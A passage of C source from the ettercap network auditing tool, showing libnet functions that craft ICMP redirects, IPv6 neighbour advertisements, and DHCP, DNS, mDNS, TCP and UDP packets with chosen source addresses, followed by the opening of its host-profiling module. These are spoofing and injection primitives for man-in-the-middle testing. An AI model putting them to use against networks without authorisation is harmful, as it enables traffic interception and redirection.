*l; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_IFACE->lnet == 0); l = EC_GBL_IFACE->lnet; SEND_LOCK; /* create the ICMP header */ t = libnet_build_icmpv4_echo( type, /* type */ 0, /* code */ 0, /* checksum */ htons(EC_MAGIC_16), /* identification number */ htons(EC_MAGIC_16), /* sequence number */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * helper function to send out an ICMP REDIRECT packet * the header are created on the source packet PO. */ int send_icmp_redir(u_char type, struct ip_addr *sip, struct ip_addr *gw, struct packet_object *po) { libnet_ptag_t t; libnet_t *l; struct libnet_ipv4_hdr *ip; int c; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_IFACE->lnet == 0); l = EC_GBL_IFACE->lnet; /* retrieve the old ip header */ ip = (struct libnet_ipv4_hdr *)po->L3.header; SEND_LOCK; /* create the fake ip header for the icmp payload */ t = libnet_build_ipv4( LIBNET_IPV4_H + 8, //ntohs(ip->ip_len), /* original len */ ip->ip_tos, /* original tos */ ntohs(ip->ip_id), /* original id */ ntohs(ip->ip_off), /* original fragments */ ip->ip_ttl, /* original ttl */ ip->ip_p, /* original proto */ ip->ip_sum, /* original checksum */ ip->ip_src.s_addr, /* original source */ ip->ip_dst.s_addr, /* original dest */ po->L4.header, /* the 64 bit of the original datagram */ 8, /* payload size */ l, 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* create the ICMP header */ t = libnet_build_icmpv4_redirect( ICMP_REDIRECT, /* type */ type, /* code */ 0, /* checksum */ *gw->addr32, /* gateway ip */ NULL, /* payload */ 0, /* payload len */ l, /* libnet handle */ 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_redirect: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H + LIBNET_IPV4_H + 8, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *po->L3.src.addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, po->L2.src, ETHERTYPE_IP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* * send the packet to Layer 2 * (sending icmp redirect is not permitted at layer 3) */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } #ifdef WITH_IPV6 int send_L3_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip) { libnet_ptag_t t; struct libnet_in6_addr src, dst; int c; libnet_t *l; BUG_IF(EC_GBL_LNET->lnet_IP6 == 0); l = EC_GBL_LNET->lnet_IP6; SEND_LOCK; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_icmpv6_echo(ICMP6_ECHO_REQUEST, /* type */ 0, /* code */ 0, /* checksum */ EC_MAGIC_16, /* id */ 0, /* sequence number */ NULL, /* data */ 0, /* its size */ l, /* handle */ 0); ON_ERROR(t, -1, "libnet_build_icmpv6_echo: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ LIBNET_ICMPV6_H, /* next header size */ IPPROTO_ICMPV6, /* next header */ 255, /* hop limit */ src, /* source */ dst, /* destination */ NULL, /* payload and size */ 0, l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); libnet_clear_packet(l); SEND_UNLOCK; return c; } int send_L2_icmp6_echo(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac) { libnet_ptag_t t; struct libnet_in6_addr src, dst; int c; libnet_t *l; BUG_IF(EC_GBL_IFACE->lnet == NULL); l = EC_GBL_IFACE->lnet; SEND_LOCK; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_icmpv6_echo(ICMP6_ECHO_REQUEST, /* type */ 0, /* code */ 0, /* checksum */ EC_MAGIC_16, /* id */ 0, /* sequence number */ NULL, /* data */ 0, /* its size */ l, /* handle */ 0); ON_ERROR(t, -1, "libnet_build_icmpv6_echo: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ LIBNET_ICMPV6_H, /* next header size */ IPPROTO_ICMPV6, /* next header */ 255, /* hop limit */ src, /* source */ dst, /* destination */ NULL, /* payload and size */ 0, l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send IP packet with an unknown header option * RFC2460 conforming hosts, respond with a ICMPv6 parameter problem * message even those not intended to respond to ICMP echos */ int send_L2_icmp6_echo_opt(struct ip_addr *sip, struct ip_addr *tip, u_int8* o_data, u_int32 o_len, u_int8 *tmac) { libnet_ptag_t t; struct libnet_in6_addr src, dst; int c, h = 0; libnet_t *l; BUG_IF(EC_GBL_IFACE->lnet == NULL); l = EC_GBL_IFACE->lnet; SEND_LOCK; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_icmpv6_echo(ICMP6_ECHO_REQUEST, /* type */ 0, /* code */ 0, /* checksum */ EC_MAGIC_16, /* id */ 0, /* sequence number */ NULL, /* data */ 0, /* its size */ l, /* handle */ 0); ON_ERROR(t, -1, "libnet_build_icmpv6_echo: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); t = libnet_build_ipv6_destopts(IPPROTO_ICMPV6, /* next header */ LIBNET_IPV6_DESTOPTS_H / 8, /* lenth */ o_data, /* payload */ o_len, /* payload length */ l, /* handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv6_destopts: %s", libnet_geterror(l)); h = LIBNET_IPV6_DESTOPTS_H + o_len + LIBNET_ICMPV6_H; t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ h, /* next header size */ IPPROTO_DSTOPTS, /* next header */ 255, /* hop limit */ src, /* source */ dst, /* destination */ NULL, /* payload and size */ 0, l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * Sends neighbor solicitation request (like arp request with ipv4) * macaddr parameter allows to add sender's mac address. This is an option for unicast requests. * See RFC4861 for more information. */ int send_L2_icmp6_nsol(struct ip_addr *sip, struct ip_addr *tip, struct ip_addr *req, u_int8 *macaddr, u_int8 *tmac) { libnet_ptag_t t; int c, h = 0; struct libnet_in6_addr src, dst, r; libnet_t *l; BUG_IF(EC_GBL_IFACE->lnet == NULL); l = EC_GBL_IFACE->lnet; SEND_LOCK; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); memcpy(&r, req->addr, sizeof(r)); if(macaddr != NULL) { t = libnet_build_icmpv6_ndp_opt(ND_OPT_SOURCE_LINKADDR, /* Address type */ macaddr, /* MAC address */ MEDIA_ADDR_LEN, /* Address length */ l, /* libnet handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_opt: %s", libnet_geterror(l)); /* base header size + MAC address size */ h += LIBNET_ICMPV6_NDP_OPT_H + 6; } t = libnet_build_icmpv6_ndp_nsol(ND_NEIGHBOR_SOLICIT, /* type */ 0, /* code */ 0, /* checksum */ r, /* target address */ NULL, /* payload */ 0, /* its size */ l, /* libnet handler */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_nsol: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); h += LIBNET_ICMPV6_NDP_NSOL_H; t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ h, /* length */ IPPROTO_ICMP6, /* proto */ 255, /* hop limit */ src, /* source address */ dst, /* target address */ NULL, /* payload */ 0, /* its size */ l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); libnet_clear_packet(l); SEND_UNLOCK; return c; } int send_L2_icmp6_nadv(struct ip_addr *sip, struct ip_addr *tip, u_int8 *macaddr, int router, u_int8 *tmac) { libnet_ptag_t t; int c, h = 0; struct libnet_in6_addr src, dst; int flags; libnet_t *l; BUG_IF(EC_GBL_IFACE->lnet == NULL); l = EC_GBL_IFACE->lnet; SEND_LOCK; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_icmpv6_ndp_opt(ND_OPT_TARGET_LINKADDR, /* Address type */ macaddr, /* MAC address */ MEDIA_ADDR_LEN, /* Address length */ l, /* libnet handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_lla: %s", libnet_geterror(l)); h += LIBNET_ICMPV6_NDP_OPT_H + 6; flags = ND_NA_FLAG_SOLICITED|ND_NA_FLAG_OVERRIDE; if(router) flags |= ND_NA_FLAG_ROUTER; t = libnet_build_icmpv6_ndp_nadv(ND_NEIGHBOR_ADVERT, /* type */ 0, /* code */ 0, /* checksum */ flags, /* flags */ src, /* address */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_icmpv6_ndp_nadv: %s", libnet_geterror(l)); libnet_toggle_checksum(l, t, LIBNET_ON); h += LIBNET_ICMPV6_NDP_NADV_H; t = libnet_build_ipv6(0, /* tc */ 0, /* flow label */ h, /* length */ IPPROTO_ICMP6, /* proto */ 255, /* hop limit */ src, /* source address */ dst, /* target address */ NULL, /* payload */ 0, /* its size */ l, /* handle */ 0); /* ptag */ ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IPV6, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write: %s", libnet_geterror(l)); libnet_clear_packet(l); SEND_UNLOCK; return c; } #endif /* WITH_IPV6 */ /* * send a dhcp reply to tmac/tip */ int send_dhcp_reply(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int8 *dhcp_hdr, u_int8 *options, size_t optlen) { libnet_ptag_t t; int c; libnet_t *l; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_IFACE->lnet == 0); l = EC_GBL_IFACE->lnet; SEND_LOCK; /* add the dhcp options */ t = libnet_build_data( options, /* the options */ optlen, /* options len */ l, /* libnet handle */ 0); /* libnet ptag */ ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); /* create the dhcp header */ t = libnet_build_data( dhcp_hdr, /* the header */ LIBNET_DHCPV4_H, /* dhcp len */ l, /* libnet handle */ 0); /* libnet ptag */ ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); /* create the udp header */ t = libnet_build_udp( 67, /* source port */ 68, /* destination port */ LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + optlen, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_IP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* * send the packet to Layer 2 * (sending icmp redirect is not permitted at layer 3) */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send a mdns reply */ int send_mdns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 id, u_int8 *data, size_t datalen, u_int16 anws_rr, u_int16 auth_rr, u_int16 addi_rr) { libnet_ptag_t t; int c, proto, ethertype; libnet_t *l; proto = ntohs(sip->addr_type); /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == 0); l = iface->lnet; SEND_LOCK; /* create the dns packet */ t = libnet_build_dnsv4( LIBNET_UDP_DNSV4_H, /* TCP or UDP */ id, /* id */ 0x8400, /* standard reply, no error */ 0, /* num_q */ anws_rr, /* num_anws_rr */ auth_rr, /* num_auth_rr */ addi_rr, /* num_addi_rr */ data, datalen, l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_dns: %s", libnet_geterror(l)); /* create the udp header */ t = libnet_build_udp( 5353, /* source port */ htons(dport), /* destination port */ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ switch (proto) { case AF_INET: { t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 255, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* set Ethertype to IPv4 */ ethertype = ETHERTYPE_IP; break; } #ifdef WITH_IPV6 case AF_INET6: { struct libnet_in6_addr src, dst; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_ipv6( 0, /* traffic class */ 0, /* flow label */ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ IPPROTO_UDP, /* next header */ 255, /* hop limit */ src, /* source IP */ dst, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* set Ethertype to IPv6 */ ethertype = ETHERTYPE_IPV6; break; } #endif }; /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send a dns reply */ int send_dns_reply(struct iface_env *iface, u_int16 dport, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 id, u_int8 *data, size_t datalen, u_int16 anws_rr, u_int16 auth_rr, u_int16 addi_rr) { libnet_ptag_t t; int c, proto, ethertype; libnet_t *l; proto = ntohs(sip->addr_type); /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == 0); l = iface->lnet; SEND_LOCK; /* create the dns packet */ t = libnet_build_dnsv4( LIBNET_UDP_DNSV4_H, /* TCP or UDP */ id, /* id */ 0x8400, /* standard reply, no error */ 1, /* num_q */ anws_rr, /* num_anws_rr */ auth_rr, /* num_auth_rr */ addi_rr, /* num_addi_rr */ data, datalen, l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_dns: %s", libnet_geterror(l)); /* create the udp header */ t = libnet_build_udp( 53, /* source port */ htons(dport), /* destination port */ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ switch (proto) { case AF_INET: { t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* set Ethertype to IPv4 */ ethertype = ETHERTYPE_IP; break; } #ifdef WITH_IPV6 case AF_INET6: { struct libnet_in6_addr src, dst; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_ipv6( 0, /* traffic class */ 0, /* flow label */ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + datalen, /* payload length */ IPPROTO_UDP, /* next header */ 255, /* hop limit */ src, /* source IP */ dst, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* set Ethertype to IPv6 */ ethertype = ETHERTYPE_IPV6; break; } #endif }; /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 2 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send an udp packet */ int send_udp(struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac, u_int16 sport, u_int16 dport, u_int8 *payload, size_t length) { libnet_ptag_t t; libnet_t *l; int c, proto, ethertype; proto = ntohs(sip->addr_type); l = EC_GBL_IFACE->lnet; BUG_IF(EC_GBL_IFACE->lnet == 0); SEND_LOCK; /* * libnet_build_udp(uint16_t sp, uint16_t dp, uint16_t len, uint16_t sum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) */ t = libnet_build_udp( htons(sport), htons(dport), LIBNET_UDP_H + length, 0, payload, length, l, 0); ON_ERROR(t, -1, "libnet_build_udp: %s", libnet_geterror(l)); /* auto calculate checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create IP header */ switch(proto) { case AF_INET: { t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + length, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP FRAG */ 64, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, 0, /* payload size */ l, 0); libnet_toggle_checksum(l, t, LIBNET_ON); /* set Ethertype to IPv4 */ ethertype = ETHERTYPE_IP; break; } #ifdef WITH_IPV6 case AF_INET6: { struct libnet_in6_addr src, dst; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_ipv6( 0, /* tc */ 0, /* flow label */ LIBNET_UDP_H + length, /* payload length */ IPPROTO_UDP, /* protocol */ 255, /* hop limit */ src, /* source */ dst, /* destination */ NULL, /* payload */ 0, /* its length */ l, /* handle */ 0); /* ptag */ /* set Ethertype to IPv6 */ ethertype = ETHERTYPE_IPV6; break; } #endif }; ON_ERROR(t, -1, "libnet_build_ipvX: %s", libnet_geterror(l)); /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the block */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send a tcp packet */ int send_tcp(struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dport, u_int32 seq, u_int32 ack, u_int8 flags, u_int8 *payload, size_t length) { libnet_ptag_t t; libnet_t *l; int proto; int c; proto = ntohs(sip->addr_type); l = (proto == AF_INET) ? EC_GBL_LNET->lnet_IP4 : EC_GBL_LNET->lnet_IP6; /* if not lnet warn the developer ;) */ BUG_IF(l == NULL); SEND_LOCK; t = libnet_build_tcp( ntohs(sport), /* source port */ ntohs(dport), /* destination port */ ntohl(seq), /* sequence number */ ntohl(ack), /* acknowledgement num */ flags, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + length, /* TCP packet size */ payload, /* payload */ length, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_tcp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ switch(proto) { case AF_INET: { t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); libnet_toggle_checksum(l, t, LIBNET_ON); break; } #ifdef WITH_IPV6 case AF_INET6: { struct libnet_in6_addr src, dst; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_ipv6( 0, /* tc */ 0, /* flow label */ LIBNET_TCP_H, /* payload length */ IPPROTO_TCP, /* protocol */ 255, /* hop limit */ src, /* source address */ dst, /* destination address */ NULL, /* payload */ 0, /* its length */ l, /* handle */ 0); /* ptag */ break; } #endif }; ON_ERROR(t, -1, "libnet_build_ipvX: %s", libnet_geterror(l)); /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * similar to send_tcp but the user can specify the destination mac addresses */ int send_tcp_ether(u_int8 *dmac, struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dport, u_int32 seq, u_int32 ack, u_int8 flags) { libnet_ptag_t t; int c, proto, ethertype; libnet_t *l; proto = ntohs(sip->addr_type); /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_IFACE->lnet == 0); l = EC_GBL_IFACE->lnet; SEND_LOCK; t = libnet_build_tcp( ntohs(sport), /* source port */ ntohs(dport), /* destination port */ ntohl(seq), /* sequence number */ ntohl(ack), /* acknowledgement num */ flags, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ ON_ERROR(t, -1, "libnet_build_tcp: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); switch (proto) { case AF_INET: { /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* set Ethertype to IPv4 */ ethertype = ETHERTYPE_IP; break; } #ifdef WITH_IPV6 case AF_INET6: { struct libnet_in6_addr src, dst; memcpy(&src, sip->addr, sizeof(src)); memcpy(&dst, tip->addr, sizeof(dst)); t = libnet_build_ipv6( 0, /* traffic class */ 0, /* flow label */ LIBNET_TCP_H, /* payload length */ IPPROTO_TCP, /* next header */ 255, /* hop limit */ src, /* source IP */ dst, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv6: %s", libnet_geterror(l)); /* set Ethertype to IPv6 */ ethertype = ETHERTYPE_IPV6; break; } #endif } /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, dmac, ethertype, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_profiles.c0000644000175000017500000005245313505247364016432 0ustar koeppeakoeppea/* ettercap -- host profiling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #define ONLY_REMOTE_PROFILES 3 #define ONLY_LOCAL_PROFILES 2 /* protos */ void __init profiles_init(void); static void profile_purge(int flag); static int profile_add_host(struct packet_object *po); static int profile_add_user(struct packet_object *po); static void update_info(struct host_profile *h, struct packet_object *po); static void update_port_list(struct host_profile *h, struct packet_object *po); static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_proto, uint16_t L4_src); static void set_gateway(u_char *L2_addr); /* global mutex on interface */ static pthread_mutex_t profile_mutex = PTHREAD_MUTEX_INITIALIZER; #define PROFILE_LOCK do { pthread_mutex_lock(&profile_mutex); } while(0) #define PROFILE_UNLOCK do { pthread_mutex_unlock(&profile_mutex); } while(0) /************************************************/ /* * add the hook function */ void __init profiles_init(void) { /* add the hook for the ARP packets */ hook_add(HOOK_PACKET_ARP, &profile_parse); /* add the hook for ICMP packets */ hook_add(HOOK_PACKET_ICMP, &profile_parse); /* add the hook for ICMPv6 packets */ hook_add(HOOK_PACKET_ICMP6, &profile_parse); /* add the hook for DHCP packets */ hook_add(HOOK_PROTO_DHCP_PROFILE, &profile_parse); /* receive all the top half packets */ hook_add(HOOK_DISPATCHER, &profile_parse); } /* * decides if the packet has to be added * to the profiles */ void profile_parse(struct packet_object *po) { /* we don't want profiles in memory. */ if (!EC_GBL_CONF->store_profiles) { return; } /* * skip packet sent (spoofed) by us * else we 